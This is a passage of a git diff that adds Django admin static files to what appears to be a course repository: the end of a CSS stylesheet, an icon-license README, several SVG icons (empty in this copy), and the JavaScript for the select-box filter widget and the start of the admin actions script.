inline-block; + vertical-align: middle; + margin: -2px 0 0 2px; + width: 13px; + height: 13px; +} + +.selector .selector-chosen .help-icon { + background: url(../img/icon-unknown-alt.svg) 0 0 no-repeat; +} + +.selector .search-label-icon { + background: url(../img/search.svg) 0 0 no-repeat; + display: inline-block; + height: 1.125rem; + width: 1.125rem; +} + +/* DATE AND TIME */ + +p.datetime { + line-height: 20px; + margin: 0; + padding: 0; + color: var(--body-quiet-color); + font-weight: bold; +} + +p.datetime label { + display: inline; +} + +.datetime span { + white-space: nowrap; + font-weight: normal; + font-size: 0.6875rem; + color: var(--body-quiet-color); +} + +.datetime input, .form-row .datetime input.vDateField, .form-row .datetime input.vTimeField { + margin-left: 5px; + margin-bottom: 4px; +} + +table p.datetime { + font-size: 0.6875rem; + margin-left: 0; + padding-left: 0; +} + +.datetimeshortcuts .clock-icon, .datetimeshortcuts .date-icon { + position: relative; + display: inline-block; + vertical-align: middle; + height: 24px; + width: 24px; + overflow: hidden; +} + +.datetimeshortcuts .clock-icon { + background: url(../img/icon-clock.svg) 0 0 no-repeat; + background-size: 24px auto; +} + +.datetimeshortcuts a:focus .clock-icon, +.datetimeshortcuts a:hover .clock-icon { + background-position: 0 -24px; +} + +.datetimeshortcuts .date-icon { + background: url(../img/icon-calendar.svg) 0 0 no-repeat; + background-size: 24px auto; + top: -1px; +} + +.datetimeshortcuts a:focus .date-icon, +.datetimeshortcuts a:hover .date-icon { + background-position: 0 -24px; +} + +.timezonewarning { + font-size: 0.6875rem; + color: var(--body-quiet-color); +} + +/* URL */ + +p.url { + line-height: 20px; + margin: 0; + padding: 0; + color: var(--body-quiet-color); + font-size: 0.6875rem; + font-weight: bold; +} + +.url a { + font-weight: normal; +} + +/* FILE UPLOADS */ + +p.file-upload { + line-height: 20px; + margin: 0; + padding: 0; + color: var(--body-quiet-color); + font-size: 0.6875rem; + font-weight: bold; +} + +.file-upload a { + font-weight: normal; +} + +.file-upload .deletelink { + margin-left: 5px; +} + +span.clearable-file-input label { + color: var(--body-fg); + font-size: 0.6875rem; + display: inline; + float: none; +} + +/* CALENDARS & CLOCKS */ + +.calendarbox, .clockbox { + margin: 5px auto; + font-size: 0.75rem; + width: 19em; + text-align: center; + background: var(--body-bg); + color: var(--body-fg); + border: 1px solid var(--hairline-color); + border-radius: 4px; + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15); + overflow: hidden; + position: relative; +} + +.clockbox { + width: auto; +} + +.calendar { + margin: 0; + padding: 0; +} + +.calendar table { + margin: 0; + padding: 0; + border-collapse: collapse; + background: white; + width: 100%; +} + +.calendar caption, .calendarbox h2 { + margin: 0; + text-align: center; + border-top: none; + font-weight: 700; + font-size: 0.75rem; + color: #333; + background: var(--accent); +} + +.calendar th { + padding: 8px 5px; + background: var(--darkened-bg); + border-bottom: 1px solid var(--border-color); + font-weight: 400; + font-size: 0.75rem; + text-align: center; + color: var(--body-quiet-color); +} + +.calendar td { + font-weight: 400; + font-size: 0.75rem; + text-align: center; + padding: 0; + border-top: 1px solid var(--hairline-color); + border-bottom: none; +} + +.calendar td.selected a { + background: var(--secondary); + color: var(--button-fg); +} + +.calendar td.nonday { + background: var(--darkened-bg); +} + +.calendar td.today a { + font-weight: 700; +} + +.calendar td a, .timelist a { + display: block; + font-weight: 400; + padding: 6px; + text-decoration: none; + color: var(--body-quiet-color); +} + +.calendar td a:focus, .timelist a:focus, +.calendar td a:hover, .timelist a:hover { + background: var(--primary); + color: white; +} + +.calendar td a:active, .timelist a:active { + background: var(--header-bg); + color: white; +} + +.calendarnav { + font-size: 0.625rem; + text-align: center; + color: #ccc; + margin: 0; + padding: 1px 3px; +} + +.calendarnav a:link, #calendarnav a:visited, +#calendarnav a:focus, #calendarnav a:hover { + color: var(--body-quiet-color); +} + +.calendar-shortcuts { + background: var(--body-bg); + color: var(--body-quiet-color); + font-size: 0.6875rem; + line-height: 0.6875rem; + border-top: 1px solid var(--hairline-color); + padding: 8px 0; +} + +.calendarbox .calendarnav-previous, .calendarbox .calendarnav-next { + display: block; + position: absolute; + top: 8px; + width: 15px; + height: 15px; + text-indent: -9999px; + padding: 0; +} + +.calendarnav-previous { + left: 10px; + background: url(../img/calendar-icons.svg) 0 0 no-repeat; +} + +.calendarnav-next { + right: 10px; + background: url(../img/calendar-icons.svg) 0 -15px no-repeat; +} + +.calendar-cancel { + margin: 0; + padding: 4px 0; + font-size: 0.75rem; + background: var(--close-button-bg); + border-top: 1px solid var(--border-color); + color: var(--button-fg); +} + +.calendar-cancel:focus, .calendar-cancel:hover { + background: var(--close-button-hover-bg); +} + +.calendar-cancel a { + color: var(--button-fg); + display: block; +} + +ul.timelist, .timelist li { + list-style-type: none; + margin: 0; + padding: 0; +} + +.timelist a { + padding: 2px; +} + +/* EDIT INLINE */ + +.inline-deletelink { + float: right; + text-indent: -9999px; + background: url(../img/inline-delete.svg) center center no-repeat; + background-size: contain; + width: 1.5rem; + height: 1.5rem; + border: 0px none; + margin-bottom: .25rem; +} + +.inline-deletelink:focus, .inline-deletelink:hover { + cursor: pointer; +} + +/* RELATED WIDGET WRAPPER */ +.related-widget-wrapper { + display: flex; + gap: 0 10px; + flex-grow: 1; + flex-wrap: wrap; + margin-bottom: 5px; +} + +.related-widget-wrapper-link { + opacity: .6; + filter: grayscale(1); +} + +.related-widget-wrapper-link:link { + opacity: 1; + filter: grayscale(0); +} + +/* GIS MAPS */ +.dj_map { + width: 600px; + height: 400px; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/README.md b/Semaine_11/Jour_04/staticfiles/admin/img/README.md new file mode 100644 index 0000000..e635dc1 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/README.md @@ -0,0 +1,80 @@ +# Information about icons in this directory + +## License + +All icons in this directory are provided by +[Font Awesome Free](https://fontawesome.com), version 6.7.2. + +- The icons are licensed under the [Creative Commons Attribution 4.0 + International (CC-BY-4.0)](https://creativecommons.org/licenses/by/4.0/) + license. +- This license allows you to use, modify, and distribute the icons, provided + proper attribution is given. + +## Usage + +- You may use, modify, and distribute the icons in this repository in + compliance with the [Creative Commons Attribution 4.0 International + (CC-BY-4.0)](https://creativecommons.org/licenses/by/4.0/) license. + +## Modifications + +- These icons have been resized, recolored, or otherwise modified to fit the + requirements of this project. + +- These modifications alter the appearance of the original icons but remain + covered under the terms of the + [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/) license. + +## Contributing SVG Icons + +To ensure visual consistency, traceability, and proper license attribution, +follow these guidelines. This applies when adding or modifying icons. + +## ⚠️ Important: Changing Font Awesome Version + +If you update to a different Font Awesome version, you must **update all SVG +files** and **comments inside the files** to reflect the new version number and +licensing URL accordingly. For example: + +* Original: +```xml + +``` +* Updated: +```xml + +``` + +## Adding a new icon + +1. Use only [Font Awesome Free Icons](https://fontawesome.com/icons). +2. Save the icon as an .svg file in this directory. +3. Include the following attribution comment at the top of the file (do not + change it): +```xml + +``` +4. Right before the `` element, add the following metadata comment with + the appropriate values: +```xml + +``` + +### Example SVG Structure + +```xml + + + + + +``` diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/calendar-icons.svg b/Semaine_11/Jour_04/staticfiles/admin/img/calendar-icons.svg new file mode 100644 index 0000000..7845abb --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/calendar-icons.svg @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-addlink.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-addlink.svg new file mode 100644 index 0000000..20fb814 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-addlink.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert-dark.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert-dark.svg new file mode 100644 index 0000000..a6365f5 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert-dark.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert.svg new file mode 100644 index 0000000..9b4ee36 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-alert.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-calendar.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-calendar.svg new file mode 100644 index 0000000..827ca5d --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-calendar.svg @@ -0,0 +1,15 @@ + + + + + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-changelink.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-changelink.svg new file mode 100644 index 0000000..6316702 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-changelink.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-clock.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-clock.svg new file mode 100644 index 0000000..51f4db4 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-clock.svg @@ -0,0 +1,15 @@ + + + + + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug-dark.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug-dark.svg new file mode 100644 index 0000000..ad76594 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug-dark.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug.svg new file mode 100644 index 0000000..c57d919 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-debug.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-deletelink.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-deletelink.svg new file mode 100644 index 0000000..eac19d7 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-deletelink.svg @@ -0,0 +1,11 @@ + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-hidelink.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-hidelink.svg new file mode 100644 index 0000000..9462691 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-hidelink.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-info-dark.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-info-dark.svg new file mode 100644 index 0000000..76fc142 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-info-dark.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-info.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-info.svg new file mode 100644 index 0000000..0a240ea --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-info.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-no-dark.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-no-dark.svg new file mode 100644 index 0000000..bb55c52 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-no-dark.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-no.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-no.svg new file mode 100644 index 0000000..6c5b15d --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-no.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown-alt.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown-alt.svg new file mode 100644 index 0000000..a7a51e7 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown-alt.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown.svg new file mode 100644 index 0000000..3acf303 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-unknown.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-viewlink.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-viewlink.svg new file mode 100644 index 0000000..40c86be --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-viewlink.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes-dark.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes-dark.svg new file mode 100644 index 0000000..482292c --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes-dark.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes.svg b/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes.svg new file mode 100644 index 0000000..71683dc --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/icon-yes.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/inline-delete.svg b/Semaine_11/Jour_04/staticfiles/admin/img/inline-delete.svg new file mode 100644 index 0000000..93e7e9d --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/inline-delete.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/search.svg b/Semaine_11/Jour_04/staticfiles/admin/img/search.svg new file mode 100644 index 0000000..75c21a5 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/search.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/selector-icons.svg b/Semaine_11/Jour_04/staticfiles/admin/img/selector-icons.svg new file mode 100644 index 0000000..a953b29 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/selector-icons.svg @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/sorting-icons.svg b/Semaine_11/Jour_04/staticfiles/admin/img/sorting-icons.svg new file mode 100644 index 0000000..c3baa4a --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/sorting-icons.svg @@ -0,0 +1,35 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-add.svg b/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-add.svg new file mode 100644 index 0000000..49cce19 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-add.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-arrowright.svg b/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-arrowright.svg new file mode 100644 index 0000000..55ed8e5 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/img/tooltag-arrowright.svg @@ -0,0 +1,9 @@ + + + + + diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/SelectBox.js b/Semaine_11/Jour_04/staticfiles/admin/js/SelectBox.js new file mode 100644 index 0000000..3db4ec7 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/SelectBox.js @@ -0,0 +1,116 @@ +'use strict'; +{ + const SelectBox = { + cache: {}, + init: function(id) { + const box = document.getElementById(id); + SelectBox.cache[id] = []; + const cache = SelectBox.cache[id]; + for (const node of box.options) { + cache.push({value: node.value, text: node.text, displayed: 1}); + } + }, + redisplay: function(id) { + // Repopulate HTML select box from cache + const box = document.getElementById(id); + const scroll_value_from_top = box.scrollTop; + box.innerHTML = ''; + for (const node of SelectBox.cache[id]) { + if (node.displayed) { + const new_option = new Option(node.text, node.value, false, false); + // Shows a tooltip when hovering over the option + new_option.title = node.text; + box.appendChild(new_option); + } + } + box.scrollTop = scroll_value_from_top; + }, + filter: function(id, text) { + // Redisplay the HTML select box, displaying only the choices containing ALL + // the words in text. (It's an AND search.) + const tokens = text.toLowerCase().split(/\s+/); + for (const node of SelectBox.cache[id]) { + node.displayed = 1; + const node_text = node.text.toLowerCase(); + for (const token of tokens) { + if (!node_text.includes(token)) { + node.displayed = 0; + break; // Once the first token isn't found we're done + } + } + } + SelectBox.redisplay(id); + }, + get_hidden_node_count(id) { + const cache = SelectBox.cache[id] || []; + return cache.filter(node => node.displayed === 0).length; + }, + delete_from_cache: function(id, value) { + let delete_index = null; + const cache = SelectBox.cache[id]; + for (const [i, node] of cache.entries()) { + if (node.value === value) { + delete_index = i; + break; + } + } + cache.splice(delete_index, 1); + }, + add_to_cache: function(id, option) { + SelectBox.cache[id].push({value: option.value, text: option.text, displayed: 1}); + }, + cache_contains: function(id, value) { + // Check if an item is contained in the cache + for (const node of SelectBox.cache[id]) { + if (node.value === value) { + return true; + } + } + return false; + }, + move: function(from, to) { + const from_box = document.getElementById(from); + for (const option of from_box.options) { + const option_value = option.value; + if (option.selected && SelectBox.cache_contains(from, option_value)) { + SelectBox.add_to_cache(to, {value: option_value, text: option.text, displayed: 1}); + SelectBox.delete_from_cache(from, option_value); + } + } + SelectBox.redisplay(from); + SelectBox.redisplay(to); + }, + move_all: function(from, to) { + const from_box = document.getElementById(from); + for (const option of from_box.options) { + const option_value = option.value; + if (SelectBox.cache_contains(from, option_value)) { + SelectBox.add_to_cache(to, {value: option_value, text: option.text, displayed: 1}); + SelectBox.delete_from_cache(from, option_value); + } + } + SelectBox.redisplay(from); + SelectBox.redisplay(to); + }, + sort: function(id) { + SelectBox.cache[id].sort(function(a, b) { + a = a.text.toLowerCase(); + b = b.text.toLowerCase(); + if (a > b) { + return 1; + } + if (a < b) { + return -1; + } + return 0; + } ); + }, + select_all: function(id) { + const box = document.getElementById(id); + for (const option of box.options) { + option.selected = true; + } + } + }; + window.SelectBox = SelectBox; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/SelectFilter2.js b/Semaine_11/Jour_04/staticfiles/admin/js/SelectFilter2.js new file mode 100644 index 0000000..2100280 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/SelectFilter2.js @@ -0,0 +1,329 @@ +/*global SelectBox, gettext, ngettext, interpolate, quickElement, SelectFilter*/ +/* +SelectFilter2 - Turns a multiple-select box into a filter interface. + +Requires core.js and SelectBox.js. +*/ +'use strict'; +{ + window.SelectFilter = { + init: function(field_id, field_name, is_stacked) { + if (field_id.match(/__prefix__/)) { + // Don't initialize on empty forms. + return; + } + const from_box = document.getElementById(field_id); + from_box.id += '_from'; // change its ID + from_box.className = 'filtered'; + from_box.setAttribute('aria-labelledby', field_id + '_from_label'); + from_box.setAttribute('aria-describedby', `${field_id}_helptext ${field_id}_choose_helptext`); + + for (const p of from_box.parentNode.getElementsByTagName('p')) { + if (p.classList.contains("info")) { + // Remove

, because it just gets in the way. + from_box.parentNode.removeChild(p); + } else if (p.classList.contains("help")) { + // Move help text up to the top so it isn't below the select + // boxes or wrapped off on the side to the right of the add + // button: + from_box.parentNode.insertBefore(p, from_box.parentNode.firstChild); + } + } + + //

or
+ const selector_div = quickElement('div', from_box.parentNode); + // Make sure the selector div is at the beginning so that the + // add link would be displayed to the right of the widget. + from_box.parentNode.prepend(selector_div); + selector_div.className = is_stacked ? 'selector stacked' : 'selector'; + + //
+ const selector_available = quickElement('div', selector_div); + selector_available.className = 'selector-available'; + const selector_available_title = quickElement('div', selector_available); + selector_available_title.id = field_id + '_from_title'; + selector_available_title.className = 'selector-available-title'; + quickElement( + 'label', + selector_available_title, + interpolate(gettext('Available %s') + ' ', [field_name]), + 'id', + field_id + '_from_label', + 'for', + field_id + '_from' + ); + quickElement( + 'p', + selector_available_title, + interpolate(gettext('Choose %s by selecting them and then select the "Choose" arrow button.'), [field_name]), + 'id', `${field_id}_choose_helptext`, 'class', 'helptext' + ); + + const filter_p = quickElement('p', selector_available, '', 'id', field_id + '_filter'); + filter_p.className = 'selector-filter'; + + const search_filter_label = quickElement('label', filter_p, '', 'for', field_id + '_input'); + + quickElement( + 'span', search_filter_label, '', + 'class', 'help-tooltip search-label-icon', + 'aria-label', interpolate(gettext("Type into this box to filter down the list of available %s."), [field_name]) + ); + + filter_p.appendChild(document.createTextNode(' ')); + + const filter_input = quickElement('input', filter_p, '', 'type', 'text', 'placeholder', gettext("Filter")); + filter_input.id = field_id + '_input'; + + selector_available.appendChild(from_box); + const choose_all = quickElement( + 'button', + selector_available, + interpolate(gettext('Choose all %s'), [field_name]), + 'id', field_id + '_add_all', + 'class', 'selector-chooseall', + 'type', 'button' + ); + + //
    + const selector_chooser = quickElement('ul', selector_div); + selector_chooser.className = 'selector-chooser'; + const add_button = quickElement( + 'button', + quickElement('li', selector_chooser), + interpolate(gettext('Choose selected %s'), [field_name]), + 'id', field_id + '_add', + 'class', 'selector-add', + 'type', 'button' + ); + const remove_button = quickElement( + 'button', + quickElement('li', selector_chooser), + interpolate(gettext('Remove selected %s'), [field_name]), + 'id', field_id + '_remove', + 'class', 'selector-remove', + 'type', 'button' + ); + + //
    + const selector_chosen = quickElement('div', selector_div, '', 'id', field_id + '_selector_chosen'); + selector_chosen.className = 'selector-chosen'; + const selector_chosen_title = quickElement('div', selector_chosen); + selector_chosen_title.className = 'selector-chosen-title'; + selector_chosen_title.id = field_id + '_to_title'; + quickElement( + 'label', + selector_chosen_title, + interpolate(gettext('Chosen %s') + ' ', [field_name]), + 'id', + field_id + '_to_label', + 'for', + field_id + '_to' + ); + quickElement( + 'p', + selector_chosen_title, + interpolate(gettext('Remove %s by selecting them and then select the "Remove" arrow button.'), [field_name]), + 'id', `${field_id}_remove_helptext`, 'class', 'helptext' + ); + + const filter_selected_p = quickElement('p', selector_chosen, '', 'id', field_id + '_filter_selected'); + filter_selected_p.className = 'selector-filter'; + + const search_filter_selected_label = quickElement('label', filter_selected_p, '', 'for', field_id + '_selected_input'); + + quickElement( + 'span', search_filter_selected_label, '', + 'class', 'help-tooltip search-label-icon', + 'aria-label', interpolate(gettext("Type into this box to filter down the list of selected %s."), [field_name]) + ); + + filter_selected_p.appendChild(document.createTextNode(' ')); + + const filter_selected_input = quickElement('input', filter_selected_p, '', 'type', 'text', 'placeholder', gettext("Filter")); + filter_selected_input.id = field_id + '_selected_input'; + + quickElement( + 'select', + selector_chosen, + '', + 'id', field_id + '_to', + 'multiple', '', + 'size', from_box.size, + 'name', from_box.name, + 'aria-labelledby', field_id + '_to_label', + 'aria-describedby', `${field_id}_helptext ${field_id}_remove_helptext`, + 'class', 'filtered' + ); + const warning_footer = quickElement('div', selector_chosen, '', 'class', 'list-footer-display'); + quickElement('span', warning_footer, '', 'id', field_id + '_list-footer-display-text'); + quickElement('span', warning_footer, ' ' + gettext('(click to clear)'), 'class', 'list-footer-display__clear'); + const clear_all = quickElement( + 'button', + selector_chosen, + interpolate(gettext('Remove all %s'), [field_name]), + 'id', field_id + '_remove_all', + 'class', 'selector-clearall', + 'type', 'button' + ); + + from_box.name = from_box.name + '_old'; + + // Set up the JavaScript event handlers for the select box filter interface + const move_selection = function(e, elem, move_func, from, to) { + if (!elem.hasAttribute('disabled')) { + move_func(from, to); + SelectFilter.refresh_icons(field_id); + SelectFilter.refresh_filtered_selects(field_id); + SelectFilter.refresh_filtered_warning(field_id); + } + e.preventDefault(); + }; + choose_all.addEventListener('click', function(e) { + move_selection(e, this, SelectBox.move_all, field_id + '_from', field_id + '_to'); + }); + add_button.addEventListener('click', function(e) { + move_selection(e, this, SelectBox.move, field_id + '_from', field_id + '_to'); + }); + remove_button.addEventListener('click', function(e) { + move_selection(e, this, SelectBox.move, field_id + '_to', field_id + '_from'); + }); + clear_all.addEventListener('click', function(e) { + move_selection(e, this, SelectBox.move_all, field_id + '_to', field_id + '_from'); + }); + warning_footer.addEventListener('click', function(e) { + filter_selected_input.value = ''; + SelectBox.filter(field_id + '_to', ''); + SelectFilter.refresh_filtered_warning(field_id); + SelectFilter.refresh_icons(field_id); + }); + filter_input.addEventListener('keypress', function(e) { + SelectFilter.filter_key_press(e, field_id, '_from', '_to'); + }); + filter_input.addEventListener('keyup', function(e) { + SelectFilter.filter_key_up(e, field_id, '_from'); + }); + filter_input.addEventListener('keydown', function(e) { + SelectFilter.filter_key_down(e, field_id, '_from', '_to'); + }); + filter_selected_input.addEventListener('keypress', function(e) { + SelectFilter.filter_key_press(e, field_id, '_to', '_from'); + }); + filter_selected_input.addEventListener('keyup', function(e) { + SelectFilter.filter_key_up(e, field_id, '_to', '_selected_input'); + }); + filter_selected_input.addEventListener('keydown', function(e) { + SelectFilter.filter_key_down(e, field_id, '_to', '_from'); + }); + selector_div.addEventListener('change', function(e) { + if (e.target.tagName === 'SELECT') { + SelectFilter.refresh_icons(field_id); + } + }); + selector_div.addEventListener('dblclick', function(e) { + if (e.target.tagName === 'OPTION') { + if (e.target.closest('select').id === field_id + '_to') { + SelectBox.move(field_id + '_to', field_id + '_from'); + } else { + SelectBox.move(field_id + '_from', field_id + '_to'); + } + SelectFilter.refresh_icons(field_id); + } + }); + from_box.closest('form').addEventListener('submit', function() { + SelectBox.filter(field_id + '_to', ''); + SelectBox.select_all(field_id + '_to'); + }); + SelectBox.init(field_id + '_from'); + SelectBox.init(field_id + '_to'); + // Move selected from_box options to to_box + SelectBox.move(field_id + '_from', field_id + '_to'); + + // Initial icon refresh + SelectFilter.refresh_icons(field_id); + }, + any_selected: function(field) { + // Temporarily add the required attribute and check validity. + field.required = true; + const any_selected = field.checkValidity(); + field.required = false; + return any_selected; + }, + refresh_filtered_warning: function(field_id) { + const count = SelectBox.get_hidden_node_count(field_id + '_to'); + const selector = document.getElementById(field_id + '_selector_chosen'); + const warning = document.getElementById(field_id + '_list-footer-display-text'); + selector.className = selector.className.replace('selector-chosen--with-filtered', ''); + warning.textContent = interpolate(ngettext( + '%s selected option not visible', + '%s selected options not visible', + count + ), [count]); + if(count > 0) { + selector.className += ' selector-chosen--with-filtered'; + } + }, + refresh_filtered_selects: function(field_id) { + SelectBox.filter(field_id + '_from', document.getElementById(field_id + "_input").value); + SelectBox.filter(field_id + '_to', document.getElementById(field_id + "_selected_input").value); + }, + refresh_icons: function(field_id) { + const from = document.getElementById(field_id + '_from'); + const to = document.getElementById(field_id + '_to'); + // Disabled if no items are selected. + document.getElementById(field_id + '_add').disabled = !SelectFilter.any_selected(from); + document.getElementById(field_id + '_remove').disabled = !SelectFilter.any_selected(to); + // Disabled if the corresponding box is empty. + document.getElementById(field_id + '_add_all').disabled = !from.querySelector('option'); + document.getElementById(field_id + '_remove_all').disabled = !to.querySelector('option'); + }, + filter_key_press: function(event, field_id, source, target) { + const source_box = document.getElementById(field_id + source); + // don't submit form if user pressed Enter + if ((event.which && event.which === 13) || (event.keyCode && event.keyCode === 13)) { + source_box.selectedIndex = 0; + SelectBox.move(field_id + source, field_id + target); + source_box.selectedIndex = 0; + event.preventDefault(); + } + }, + filter_key_up: function(event, field_id, source, filter_input) { + const input = filter_input || '_input'; + const source_box = document.getElementById(field_id + source); + const temp = source_box.selectedIndex; + SelectBox.filter(field_id + source, document.getElementById(field_id + input).value); + source_box.selectedIndex = temp; + SelectFilter.refresh_filtered_warning(field_id); + SelectFilter.refresh_icons(field_id); + }, + filter_key_down: function(event, field_id, source, target) { + const source_box = document.getElementById(field_id + source); + // right key (39) or left key (37) + const direction = source === '_from' ? 39 : 37; + // right arrow -- move across + if ((event.which && event.which === direction) || (event.keyCode && event.keyCode === direction)) { + const old_index = source_box.selectedIndex; + SelectBox.move(field_id + source, field_id + target); + SelectFilter.refresh_filtered_selects(field_id); + SelectFilter.refresh_filtered_warning(field_id); + source_box.selectedIndex = (old_index === source_box.length) ? source_box.length - 1 : old_index; + return; + } + // down arrow -- wrap around + if ((event.which && event.which === 40) || (event.keyCode && event.keyCode === 40)) { + source_box.selectedIndex = (source_box.length === source_box.selectedIndex + 1) ? 0 : source_box.selectedIndex + 1; + } + // up arrow -- wrap around + if ((event.which && event.which === 38) || (event.keyCode && event.keyCode === 38)) { + source_box.selectedIndex = (source_box.selectedIndex === 0) ? source_box.length - 1 : source_box.selectedIndex - 1; + } + } + }; + + window.addEventListener('load', function(e) { + document.querySelectorAll('select.selectfilter, select.selectfilterstacked').forEach(function(el) { + const data = el.dataset; + SelectFilter.init(el.id, data.fieldName, parseInt(data.isStacked, 10)); + }); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/actions.js b/Semaine_11/Jour_04/staticfiles/admin/js/actions.js new file mode 100644 index 0000000..23295f5 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/actions.js @@ -0,0 +1,204 @@ +/*global gettext, interpolate, ngettext, Actions*/ +'use strict'; +{ + function show(selector) { + document.querySelectorAll(selector).forEach(function(el) { + el.classList.remove('hidden'); + }); + } + + function hide(selector) { + document.querySelectorAll(selector).forEach(function(el) { + el.classList.add('hidden'); + }); + } + + function showQuestion(options) { + hide(options.acrossClears); + show(options.acrossQuestions); + hide(options.allContainer); + } + + function showClear(options) { + show(options.acrossClears); + hide(options.acrossQuestions); + document.querySelector(options.actionContainer).classList.remove(options.selectedClass); + show(options.allContainer); + hide(options.counterContainer); + } + + function reset(options) { + hide(options.acrossClears); + hide(options.acrossQuestions); + hide(options.allContainer); + show(options.counterContainer); + } + + function clearAcross(options) { + 